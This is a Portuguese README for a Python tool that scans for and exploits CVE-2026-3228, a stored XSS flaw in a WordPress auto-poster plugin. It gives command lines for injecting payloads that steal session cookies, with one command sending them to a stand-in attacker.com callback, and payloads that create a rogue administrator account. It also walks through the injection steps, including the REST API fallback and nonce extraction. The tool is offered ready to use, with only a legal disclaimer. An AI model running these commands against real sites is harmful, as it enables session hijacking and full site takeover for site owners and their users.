
# Analisa e explora o CVE-2026-3228, um XSS armazenado no plugin NextScripts para WordPress, com deteção pré-autenticação, verificações autenticadas e injeção de payload para PoC, roubo de cookies ou criação de administrador.
CVE-2026-3228 - Scanner e Exploit de XSS Armazenado no Plugin NextScripts do WordPress
https://img.shields.io/badge/python-3.6+-blue.svg
https://img.shields.io/badge/license-MIT-green
https://img.shields.io/badge/WordPress-Plugin-red
Autor: NULL200OK
Uma ferramenta Python abrangente para escanear e explorar o CVE-2026-3228, uma vulnerabilidade de Cross-Site Scripting (XSS) Armazenado no plugin NextScripts: Social Networks Auto-Poster do WordPress (versões ≤ 4.4.6).
A vulnerabilidade permite que usuários autenticados com acesso de nível Contributor ou superior injetem JavaScript arbitrário por meio do shortcode [nxs_fbembed]. Quando um administrador visualiza a publicação infectada, o script é executado no navegador dele, podendo levar ao sequestro de sessão, criação de conta de administrador ou comprometimento do site.
📦 Recursos
info – Exibe informações detalhadas sobre o CVE (descrição, causa raiz, impacto).
scan – Escaneamento pré‑autenticação para detectar o plugin e sua versão.
check – Verificação abrangente com credenciais (login, verificação de privilégios, detecção de versão).
exploit – Injeta payloads XSS maliciosos em uma nova publicação usando o shortcode vulnerável.
Múltiplos tipos de payload:
alert – Caixa de alerta simples para prova de conceito.
cookie – Rouba cookies de sessão e os envia para uma URL de callback.
admin – Tenta criar um novo usuário administrador (requer que um admin visualize a página).
html – Injeção HTML básica com eventos onerror.
custom – JavaScript fornecido pelo usuário.
all – Injeta todos os tipos de payload em publicações separadas.
Autenticação automática – Gerencia login no WordPress, sessão e extração de nonces.
Métodos de injeção alternativos – Tenta primeiro a REST API e, em seguida, o envio tradicional de formulário.
Saída amigável – Mensagens de status codificadas por cores e orientação clara passo a passo.
🚨 Visão Geral da Vulnerabilidade
ID do CVE: CVE-2026-3228
Pontuação CVSS: 6.4 (Média)
Plugin Afetado: NextScripts: Social Networks Auto-Poster ≤ 4.4.6
Causa Raiz:
Saneamento insuficiente da entrada do valor de meta da publicação snapFB.
Escapamento de saída insuficiente ao renderizar o shortcode [nxs_fbembed].
Privilégios Necessários: Conta de nível Contributor ou superior.
Impacto: Um atacante pode executar JavaScript arbitrário no contexto de qualquer usuário (incluindo administradores) que visualize a publicação infectada, levando ao comprometimento total do site.
⚙️ Requisitos
Python 3.6+
requests
beautifulsoup4
Instale as dependências:
bash
pip install requests beautifulsoup4
🔧 Instalação
bash
cd CVE-2026-3228
📚 Uso
text
usage: CVE-2026-3228.py [-h] {info,scan,check,exploit} ...
CVE-2026-3228 - Scanner e Exploit de XSS Armazenado no Plugin NextScripts do WordPress
argumentos posicionais:
{info,scan,check,exploit}
info Exibe informações detalhadas sobre o CVE
scan Verifica se o alvo é vulnerável (pré-auth)
check Verificação abrangente com credenciais
exploit Explora a vulnerabilidade (requer credenciais válidas)
argumentos opcionais:
-h, --help mostra esta mensagem de ajuda e sai
bash
python3 CVE-2026-3228.py info
bash
python3 CVE-2026-3228.py scan https://example.com
bash
python3 CVE-2026-3228.py check https://example.com -u contributor -p password
Payload básico de alerta (PoC)
bash
python3 CVE-2026-3228.py exploit https://example.com -u contributor -p password --payload-type alert
Roubar cookies (requer um listener)
bash
python3 CVE-2026-3228.py exploit https://example.com -u contributor -p password --payload-type cookie --callback-url https://attacker.com/steal
Tentar criar um usuário admin (quando um admin visualiza a página)
bash
python3 CVE-2026-3228.py exploit https://example.com -u contributor -p password --payload-type admin
Injetar todos os tipos de payload
bash
python3 CVE-2026-3228.py exploit https://example.com -u contributor -p password --payload-type all
JavaScript personalizado
bash
python3 CVE-2026-3228.py exploit https://example.com -u contributor -p password --payload-type custom --custom-js "console.log('pwned')"
🧠 Como Funciona (Passo a Passo)
Autenticação – O script faz login no WordPress usando as credenciais fornecidas e mantém uma sessão.
Verificação de Privilégios – Verifica se o usuário conectado tem pelo menos acesso de nível Contributor (necessário para criar publicações).
Geração de Payload – Cria payloads JavaScript com base no tipo escolhido.
Injeção – Cria uma nova publicação contendo o shortcode vulnerável [nxs_fbembed]. O script malicioso é colocado no campo de meta da publicação snapFB, que não é devidamente saneado pelo plugin.
Armazenamento – A publicação é publicada (ou salva como rascunho) e o payload é armazenado no banco de dados.
Gatilho – Quando um administrador (ou qualquer usuário) visualiza a publicação, o script não saneado é renderizado e executado no navegador dele.
Pós‑Exploração – Dependendo do payload, o atacante pode roubar cookies, criar contas de administrador ou realizar outras ações.
O script tenta a injeção primeiro pela REST API do WordPress (mais rápida e limpa). Se isso falhar, ele recorre ao envio tradicional de formulário, extraindo os nonces necessários da página do editor de publicações.
⚠️ Aviso Legal
Esta ferramenta é fornecida apenas para fins educacionais e de testes de segurança autorizados. O uso não autorizado contra sistemas que você não possui ou para os quais não tem permissão explícita para testar é ilegal. O autor (NULL200OK) não assume nenhuma responsabilidade e não se responsabiliza por qualquer uso indevido ou dano causado por este script.
📄 Licença
Este projeto está licenciado sob a Licença MIT – consulte o arquivo LICENSE para obter detalhes.
📬 Referências
MITRE CVE‑2026‑3228 (placeholder)
Diretório de Plugins do WordPress
OWASP Stored XSS